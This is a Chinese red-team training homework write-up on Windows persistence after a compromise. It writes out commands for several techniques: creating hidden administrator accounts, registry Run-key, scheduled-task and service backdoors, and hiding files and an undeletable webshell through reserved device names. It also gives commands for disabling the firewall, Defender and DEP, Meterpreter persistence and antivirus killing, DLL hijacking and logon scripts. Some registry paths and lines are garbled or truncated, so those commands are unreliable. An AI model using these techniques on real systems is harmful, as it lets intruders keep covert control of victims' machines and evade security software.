windows权限维持大结局

2021-09-28 15:49:50 浏览数 (1)

文章来源|MS08067 红队攻防实战班作业

本文作者:苏杰波、李布杰(红队攻防实战班2期学员)

1. 通过组策略运行指定脚本添加隐藏用户

在“开始菜单”->“运行”中输入gpedit.msc打开组策略编辑器,在左边导航栏中选择“计算机配置”->“windows设置”->“脚本(启动/关机)”,双击其右边的“启动”选项,打开“启动属性”窗口:

操作系统启动时自动运行该脚本,使用net user命令查看未发现hacker用户,但通过net user hacker查看该用户时发现它确实存在:

但在本地安全策略中可看到:

需通过在注册表中进行类似账号克隆的操作,分别将如下图所示的项分别导出为item1.reg和item2.reg:

在item1.reg中编辑F参数,通过复制Administrator在注册表中的F参数将该其覆盖后保存:

在cmd命令中执行“net user hacker /del”,然后双击item1.reg和item2.reg重新将hacker用户写入到注册表中,此时在本地安全策略中已无hacker

用“net user hacker$”查看发现该用户存在:

2. 在注册表中添加启动自动运行后门

下图所示为注册表中启动自动运行的目标目录:

通过reg add

"HKEY_CURRENT_USERsoftwaremicrosoftwindowsCurrentVersionRun" /vmyPersist /t reg_sz /d "C:UsersAdministratorDesktoppersist.exe"

命令,可将启动自动运行的程序添加到注册表中的相应项:

3. 通过计划任务添加后门

添加计划任务,每隔1分钟执行一次:

4. services.msc

Windows 权限维持

隐藏技巧

"真正"的隐藏文件

命令:Attrib s a h r [文件]

s:系统

h:隐藏

r:只读

加上s属性后,文件会进一步被隐藏(打开查看隐藏文件都看不见),只有使用 dir - h(ls -h) 等才能看见。

当文件被加上s属性后,后续操作可能没有足够的权限取操作,需要先去掉s属性才能进行后续的操作。

改变系统文件夹图标

通过更改文件夹名称,能更改文件夹图标和双击打开的动作(命令行模式仍可以正常使用)。

但通过命令行模式仍能看见其后缀。

代码语言:javascript复制
一些代号
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48} 
打印机.{2227a280-3aea-1069-a2de-08002b30309d} 
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d} 
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

畸形目录

只有使用cmd能成功,

powershell不行 创建成功后图形界面不会显示,

但命令行能看见。某些操作不能对其作用,如 cd,dir等 ,但可以 copy 文件进去,或者直接查看文件

创建目录:md test....

删除目录:rd /s /q test....

利用系统保留的文件名创建无法删除的webshell

只有使用cmd能成功,powershell不行

保留文件名: aux com1 com2 prn con nul 等

图形化使用此类名创建文件将会报错

此类文件图形化看不见,命令行可以

但可以通过cmd创建,创建和删除时要用绝对路径

创建:md \\.c:com1

删除: rd \.c:com1

创建与操作文件需要管理员权限,目录不需要

在创建是添加 \. 前缀是为了便于访问,不然访问时会将目标当作一个IO设备处理。

驱动级隐藏文件

工具:Easy File Locker

下载链接:http://www.xoslab.com/efl.html

通过设置其属性,达到对应目的(隐藏后命令行也不可见,只有知道完整目录才能访问)改软件可以设置密码、自启动,可以删除主界面,卸载程序都可以,只留下核心驱动文件即可。

如何清除

代码语言:javascript复制
1. 查询服务状态:sc qc xlkfs
2. 停止服务:net stop xlkfs(停止后,文件便会显现出来,cmd能见)
3. 删除服务:sc delete xlkfs
4. 删除系统目录下的文件,重启系统,确认服务被清除。

关闭杀软

命令

需要管理员权限

关闭防火墙:netsh advfirewall set allprofiles state off

关闭Defender: Net stop windefend

关闭DEP(数据执行保护): bcdedit /set {current} nx alwaysoff

Meterpreter

代码语言:javascript复制
直接运行 run killav

策略组(作业)

gpedit.msc -> 计算机配置 -> windows设置 -> 脚本

通过设置启动与关机时要运行的脚本,执行相关命令。(创建账户、嗅探密码、远程登录等)

代码语言:javascript复制
# bat
@echo off
net user hack$ 123qwe /add
net localgroup administrators hack$ /add
exit

注册表(作业)

尽量使用 HKEY_LOCAL_MASHINE 而不是 HKEY_CURRNET_USER (没有的键值对需要自己去新建)

代码语言:javascript复制
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 添加键,键值为
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce 只会运行一
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServer 以服务
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServerOnce 只
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx01 (
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx01De
同理的还有HKEY_CURRNET_USER树下的。

Meterpreter

1. Persistence后门

在 Meterpreter 中 Persistence 用于后渗透中的权限维持。通常是通过 cscript.exe 这个程序去执行,创建一个 VBS 脚本 (msf和cs都是,对应的,cs是通过rundll32.exe去执行命令,而msf是通过其启动的后门文件。)

常用的参数有

代码语言:javascript复制
-S 创建一个服务,随系统启动而启动(System权限)
-U 用户登录时启动后门,就是向注册表HKCU树下写入自启动项
-X 系统登录启动后门,向注册表HKLM树下写入启动项

关于创建的持续性后门,当这个后门启动的时候会周期性的连接目标,只要 cscript.exe 这个进程没有结束。

SharPersist

计划任务(schtasks.exe)(作业)

schtasks.exe 用于在windows系统中指定任务计划,使其能在特定的事件日期执行程序和脚本。

代码语言:javascript复制
SCHTASKS /parameter [arguments]
描述:
 允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
 务。参数列表:
 /Create 创建新计划任务。
 /Delete 删除计划任务。
 /Query 显示所有计划任务。
 /Change 更改计划任务属性。
 /Run 按需运行计划任务。
 /End 中止当前正在运行的计划任务。
 /ShowSid 显示与计划的任务名称相应的安全标识符。
 /? 显示此帮助消息。

示例

代码语言:javascript复制
schtasks /create /tn/tr <"程序路径和文件名"> /sc <什么时候运行 如 o

创建计划任务启动notepad(需要管理员权限)

对应的可以在 _Task Scheduler 查看

在svchost进程下成功创建了notepad进程

当使用指定账户创建运行计划任务时,当前用户必须具有与之相对或者更高的权限 (使用管理员账户以ystem权限运行计划任务失败)

创建新服务(作业)

cmd使用 sc 对任务进行管理,powershell中使用 get-help service 查看对应的服务操作命令

创建

代码语言:javascript复制
sccreate [service name] [binPath= ]...
选项:
注意: 选项名称包括等号。等号和值之间需要一个空格。type=(默认 = own)
start=(默认 = demand)
error=(默认 = normal)
binPath= <.exe 文件的 BinaryPathName>
group=tag=depend= <依存关系(以 / (斜杠)分隔)>
obj=(默认= LocalSystem)
DisplayName= <显示名称>
password= <密码>

实例

代码语言:javascript复制
创建服务:sc createbinpath= <"可执行二进制文件"> start= <"启动模式"> obj
启动服务: sc start删除实例:sc delete

创建服务能成功,但是启动一直爆1053错误。

启动错误

内存马

劫持后门

MSDTC服务 (没成功) MSDTC服务开启时默认会加载三个DLL: oci.dll、SQLLib80.dll、xa80.dll , windows系统默认不包括 oci.dll ,将后门dll重命名并放置到 %SystemRoot%system32 中,远程杀掉 MSDTC 服务,使其重启,加载恶意DLL.

镜像劫持

Logon Scripts

Logon Scripts比av先执行,利用这点可以绕过av

注册表路径:HKEY_CURRENT_USEREnvironment 键:UserInitMprLogonScript

值:恶意文件路径

0 人点赞